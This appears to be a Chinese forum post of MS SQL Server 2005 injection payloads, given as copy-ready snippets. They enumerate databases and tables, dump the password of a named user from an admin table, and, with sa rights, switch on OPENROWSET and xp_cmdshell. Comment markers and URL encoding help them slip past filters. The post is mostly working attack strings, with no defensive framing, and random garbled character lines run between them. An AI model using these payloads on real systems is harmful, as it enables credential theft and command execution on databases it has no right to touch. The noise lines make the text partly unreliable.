MSsql2005注入语句

admin

  d: X! e- N* q7 U! X$ |9 J
[Copy to clipboard]CODE:
+ G% ]( F  J+ Y2 p( q' K4 y5 K/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--

爆表语句,somedb部份是所要列的数据库，红色数字1累加
/ r2 P6 }/ W* D' V

[Copy to clipboard]CODE:
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0--
! ~# {3 G) R! }: Q9 ]% a
* b$ E( u) K  x) O爆字段语句，爆表admin里user='icerover'的密码段

  Z. S2 n# V9 P8 c6 s, o' \( R1 T
[Copy to clipboard]CODE:
**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0--
! f- m+ Y. B: ?. J: `4 x: s
1 \. J4 c/ x! g7 }+ r" R& _mssql2005默认没有开xp_cmdshell的，openrowset也不能用
如果是sa权限，可以这样来开启
开启openrowset
! e* p/ ~. B" S

( y; ]- N5 T: R" C% ~' f3 k[Copy to clipboard]CODE:
/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
. m3 W9 W7 u- \5 c/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--

7 r' i6 N4 K! u, q+ C3 }; e& e+ o开启xp_cmdshell
# G. x) X% G4 Y: Y, t- S
6 R" l, R7 G! [7 O1 h
! T) i( @# Q/ Z+ l; b8 P% q9 J0 {1 \: u[Copy to clipboard]CODE:
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
# L) G4 ]( u  ?* u0 c/ x
ok,over~~晚安